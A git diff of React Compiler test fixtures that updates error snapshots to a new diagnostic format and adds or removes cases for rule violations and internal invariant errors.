--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.expect.md
@@ -15,10 +15,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.assign-global-in-component-tag-function.ts:3:4
   1 | function Component() {
   2 |   const Foo = () => {
 > 3 |     someGlobal = true;
-    |     ^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (3:3)
+    |     ^^^^^^^^^^ `someGlobal` cannot be reassigned
   4 |   };
   5 |   return <Foo />;
   6 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.expect.md
index d380137836cc..1f5ac0c83dfa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.expect.md
@@ -18,10 +18,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.assign-global-in-jsx-children.ts:3:4
   1 | function Component() {
   2 |   const foo = () => {
 > 3 |     someGlobal = true;
-    |     ^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (3:3)
+    |     ^^^^^^^^^^ `someGlobal` cannot be reassigned
   4 |   };
   5 |   // Children are generally access/called during render, so
   6 |   // modifying a global in a children function is almost
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.expect.md
deleted file mode 100644
index 3861b16e90dc..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.expect.md
+++ /dev/null
@@ -1,27 +0,0 @@
-
-## Input
-
-```javascript
-function Component() {
-  const foo = () => {
-    someGlobal = true;
-  };
-  return <div {...foo} />;
-}
-
-```
-
-
-## Error
-
-```
-  1 | function Component() {
-  2 |   const foo = () => {
-> 3 |     someGlobal = true;
-    |     ^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (3:3)
-  4 |   };
-  5 |   return <div {...foo} />;
-  6 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.js
deleted file mode 100644
index 1eea9267b509..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-spread-attribute.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component() {
-  const foo = () => {
-    someGlobal = true;
-  };
-  return <div {...foo} />;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.expect.md
new file mode 100644
index 000000000000..c89e773f3212
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// Fixture to test that we show a hint to name as `ref` or `-Ref` when attempting
+// to assign .current inside an effect
+function Component({foo}) {
+  useEffect(() => {
+    foo.current = true;
+  }, [foo]);
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.assign-ref-in-effect-hint.ts:5:4
+  3 | function Component({foo}) {
+  4 |   useEffect(() => {
+> 5 |     foo.current = true;
+    |     ^^^ `foo` cannot be modified
+  6 |   }, [foo]);
+  7 | }
+  8 |
+
+Hint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in "Ref".
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.js
new file mode 100644
index 000000000000..154673495964
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.js
@@ -0,0 +1,7 @@
+// Fixture to test that we show a hint to name as `ref` or `-Ref` when attempting
+// to assign .current inside an effect
+function Component({foo}) {
+  useEffect(() => {
+    foo.current = true;
+  }, [foo]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.expect.md
index 1d5b4abdf7d4..fe0ade4b91e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.expect.md
@@ -16,10 +16,17 @@ function Foo(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `$FlowFixMe[react-rule-hook]`.
+
+error.bailout-on-flow-suppression.ts:4:2
   2 |
   3 | function Foo(props) {
 > 4 |   // $FlowFixMe[react-rule-hook]
-    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. $FlowFixMe[react-rule-hook] (4:4)
+    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
   5 |   useX();
   6 |   return null;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.expect.md
index 27c4750515bc..df3524de027e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @eslintSuppressionRules(my-app/react-rule)
+// @eslintSuppressionRules:["my-app","react-rule"] @validateExhaustiveMemoizationDependencies:false
 
 /* eslint-disable my-app/react-rule */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   // eslint-disable-next-line my-app/react-rule
   return <div>{x}</div>;
@@ -19,15 +19,33 @@ function lowercasecomponent() {
 ## Error
 
 ```
-  1 | // @eslintSuppressionRules(my-app/react-rule)
+Found 2 errors:
+
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable my-app/react-rule`.
+
+error.bailout-on-suppression-of-custom-rule.ts:3:0
+  1 | // @eslintSuppressionRules:["my-app","react-rule"] @validateExhaustiveMemoizationDependencies:false
   2 |
 > 3 | /* eslint-disable my-app/react-rule */
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable my-app/react-rule (3:3)
-
-InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable-next-line my-app/react-rule (7:7)
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
   4 | function lowercasecomponent() {
-  5 |   "use forget";
+  5 |   'use forget';
   6 |   const x = [];
+
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable-next-line my-app/react-rule`.
+
+error.bailout-on-suppression-of-custom-rule.ts:7:2
+   5 |   'use forget';
+   6 |   const x = [];
+>  7 |   // eslint-disable-next-line my-app/react-rule
+     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
+   8 |   return <div>{x}</div>;
+   9 | }
+  10 | /* eslint-enable my-app/react-rule */
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.js
index 5935d1f0f255..b9344d663b90 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.js
@@ -1,8 +1,8 @@
-// @eslintSuppressionRules(my-app/react-rule)
+// @eslintSuppressionRules:["my-app","react-rule"] @validateExhaustiveMemoizationDependencies:false
 
 /* eslint-disable my-app/react-rule */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   // eslint-disable-next-line my-app/react-rule
   return <div>{x}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.expect.md
new file mode 100644
index 000000000000..8968351e78e2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.expect.md
@@ -0,0 +1,46 @@
+
+## Input
+
+```javascript
+import {useCallback, useRef} from 'react';
+
+export default function useThunkDispatch(state, dispatch, extraArg) {
+  const stateRef = useRef(state);
+  stateRef.current = state;
+
+  return useCallback(
+    function thunk(action) {
+      if (typeof action === 'function') {
+        return action(thunk, () => stateRef.current, extraArg);
+      } else {
+        dispatch(action);
+        return undefined;
+      }
+    },
+    [dispatch, extraArg]
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> thunk$14.
+
+error.bug-infer-mutation-aliasing-effects.ts:10:22
+   8 |     function thunk(action) {
+   9 |       if (typeof action === 'function') {
+> 10 |         return action(thunk, () => stateRef.current, extraArg);
+     |                       ^^^^^ this is uninitialized
+  11 |       } else {
+  12 |         dispatch(action);
+  13 |         return undefined;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.js
new file mode 100644
index 000000000000..3309406fc70c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.js
@@ -0,0 +1,18 @@
+import {useCallback, useRef} from 'react';
+
+export default function useThunkDispatch(state, dispatch, extraArg) {
+  const stateRef = useRef(state);
+  stateRef.current = state;
+
+  return useCallback(
+    function thunk(action) {
+      if (typeof action === 'function') {
+        return action(thunk, () => stateRef.current, extraArg);
+      } else {
+        dispatch(action);
+        return undefined;
+      }
+    },
+    [dispatch, extraArg]
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.expect.md
new file mode 100644
index 000000000000..cd311c6f2196
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.expect.md
@@ -0,0 +1,31 @@
+
+## Input
+
+```javascript
+const YearsAndMonthsSince = () => {
+  const diff = foo();
+  const months = Math.floor(diff.bar());
+  return <>{months}</>;
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: [Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression
+
+error.bug-invariant-codegen-methodcall.ts:3:17
+  1 | const YearsAndMonthsSince = () => {
+  2 |   const diff = foo();
+> 3 |   const months = Math.floor(diff.bar());
+    |                  ^^^^^^^^^^ Got: 'Identifier'
+  4 |   return <>{months}</>;
+  5 | };
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.js
new file mode 100644
index 000000000000..948182653cbe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.js
@@ -0,0 +1,5 @@
+const YearsAndMonthsSince = () => {
+  const diff = foo();
+  const months = Math.floor(diff.bar());
+  return <>{months}</>;
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.expect.md
new file mode 100644
index 000000000000..b50ad7035939
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+import {useEffect} from 'react';
+
+export function Foo() {
+  useEffect(() => {
+    try {
+      // do something
+    } catch ({status}) {
+      // do something
+    }
+  }, []);
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: (BuildHIR::lowerAssignment) Could not find binding for declaration.
+
+error.bug-invariant-couldnt-find-binding-for-decl.ts:7:14
+   5 |     try {
+   6 |       // do something
+>  7 |     } catch ({status}) {
+     |               ^^^^^^ (BuildHIR::lowerAssignment) Could not find binding for declaration.
+   8 |       // do something
+   9 |     }
+  10 |   }, []);
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.js
new file mode 100644
index 000000000000..c005fec1bd5a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.js
@@ -0,0 +1,11 @@
+import {useEffect} from 'react';
+
+export function Foo() {
+  useEffect(() => {
+    try {
+      // do something
+    } catch ({status}) {
+      // do something
+    }
+  }, []);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.expect.md
new file mode 100644
index 000000000000..a30ccffcd7bd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {useFoo, formatB, Baz} from './lib';
+
+export const Example = ({data}) => {
+  let a;
+  let b;
+
+  if (data) {
+    ({a, b} = data);
+  }
+
+  const foo = useFoo(a);
+  const bar = useMemo(() => formatB(b), [b]);
+
+  return <Baz foo={foo} bar={bar} />;
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: Expected consistent kind for destructuring
+
+Other places were `Reassign` but 'mutate? #t8$46[7:9]{reactive}' is const.
+
+error.bug-invariant-expected-consistent-destructuring.ts:9:9
+   7 |
+   8 |   if (data) {
+>  9 |     ({a, b} = data);
+     |          ^ Expected consistent kind for destructuring
+  10 |   }
+  11 |
+  12 |   const foo = useFoo(a);
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.js
new file mode 100644
index 000000000000..c37b19314431
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.js
@@ -0,0 +1,16 @@
+import {useMemo} from 'react';
+import {useFoo, formatB, Baz} from './lib';
+
+export const Example = ({data}) => {
+  let a;
+  let b;
+
+  if (data) {
+    ({a, b} = data);
+  }
+
+  const foo = useFoo(a);
+  const bar = useMemo(() => formatB(b), [b]);
+
+  return <Baz foo={foo} bar={bar} />;
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.expect.md
new file mode 100644
index 000000000000..bca2e6930749
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.expect.md
@@ -0,0 +1,46 @@
+
+## Input
+
+```javascript
+import {useState} from 'react';
+import {bar} from './bar';
+
+export const useFoot = () => {
+  const [, setState] = useState(null);
+  try {
+    const {data} = bar();
+    setState({
+      data,
+      error: null,
+    });
+  } catch (err) {
+    setState(_prevState => ({
+      loading: false,
+      error: err,
+    }));
+  }
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: Expected all references to a variable to be consistently local or context references
+
+Identifier <unknown> err$7 is referenced as a context variable, but was previously referenced as a local variable.
+
+error.bug-invariant-local-or-context-references.ts:15:13
+  13 |     setState(_prevState => ({
+  14 |       loading: false,
+> 15 |       error: err,
+     |              ^^^ this is local
+  16 |     }));
+  17 |   }
+  18 | };
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.js
new file mode 100644
index 000000000000..561bc25fb72a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.js
@@ -0,0 +1,18 @@
+import {useState} from 'react';
+import {bar} from './bar';
+
+export const useFoot = () => {
+  const [, setState] = useState(null);
+  try {
+    const {data} = bar();
+    setState({
+      data,
+      error: null,
+    });
+  } catch (err) {
+    setState(_prevState => ({
+      loading: false,
+      error: err,
+    }));
+  }
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.expect.md
new file mode 100644
index 000000000000..f8c46659bf7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.expect.md
@@ -0,0 +1,30 @@
+
+## Input
+
+```javascript
+import Bar from './Bar';
+
+export function Foo() {
+  return (
+    <Bar
+      renderer={(...props) => {
+        return <span {...props}>{displayValue}</span>;
+      }}
+    />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Invariant: Expected temporaries to be promoted to named identifiers in an earlier pass
+
+identifier 15 is unnamed.
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.js
new file mode 100644
index 000000000000..4a06093d9f1e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.js
@@ -0,0 +1,11 @@
+import Bar from './Bar';
+
+export function Foo() {
+  return (
+    <Bar
+      renderer={(...props) => {
+        return <span {...props}>{displayValue}</span>;
+      }}
+    />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.expect.md
deleted file mode 100644
index ca77829e2f7f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.expect.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-## Input
-
-```javascript
-function Foo() {
-  try {
-    let thing = null;
-    if (cond) {
-      thing = makeObject();
-    }
-    if (otherCond) {
-      mutate(thing);
-    }
-  } catch {}
-}
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 2:24(18:26)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.js
deleted file mode 100644
index 37be9363a5ac..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-repro-trycatch-nested-overlapping-range.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Foo() {
-  try {
-    let thing = null;
-    if (cond) {
-      thing = makeObject();
-    }
-    if (otherCond) {
-      mutate(thing);
-    }
-  } catch {}
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.expect.md
index cb2ce1a20df0..8b936ff0d920 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.expect.md
@@ -14,10 +14,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Invariant: Const declaration cannot be referenced as an expression
+
+error.call-args-destructuring-asignment-complex.ts:3:9
   1 | function Component(props) {
   2 |   let x = makeObject();
 > 3 |   x.foo(([[x]] = makeObject()));
-    |          ^^^^^ Invariant: Const declaration cannot be referenced as an expression (3:3)
+    |          ^^^^^ this is Const
   4 |   return x;
   5 | }
   6 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.expect.md
index 94b3ae1035ea..60964064765c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.expect.md
@@ -14,10 +14,17 @@ function Foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+Bar may be a component.
+
+error.capitalized-function-call-aliased.ts:4:2
   2 | function Foo() {
   3 |   let x = Bar;
 > 4 |   x(); // ERROR
-    |   ^^^ InvalidReact: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config. Bar may be a component. (4:4)
+    |   ^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.expect.md
index d8b0f8facfed..59db7442a368 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.expect.md
@@ -15,10 +15,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+SomeFunc may be a component.
+
+error.capitalized-function-call.ts:3:12
   1 | // @validateNoCapitalizedCalls
   2 | function Component() {
 > 3 |   const x = SomeFunc();
-    |             ^^^^^^^^^^ InvalidReact: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config. SomeFunc may be a component. (3:3)
+    |             ^^^^^^^^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
   4 |
   5 |   return x;
   6 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.expect.md
index 39dc43e4a563..f55721caa10f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.expect.md
@@ -15,10 +15,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+SomeFunc may be a component.
+
+error.capitalized-method-call.ts:3:12
   1 | // @validateNoCapitalizedCalls
   2 | function Component() {
 > 3 |   const x = someGlobal.SomeFunc();
-    |             ^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config. SomeFunc may be a component. (3:3)
+    |             ^^^^^^^^^^^^^^^^^^^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
   4 |
   5 |   return x;
   6 | }
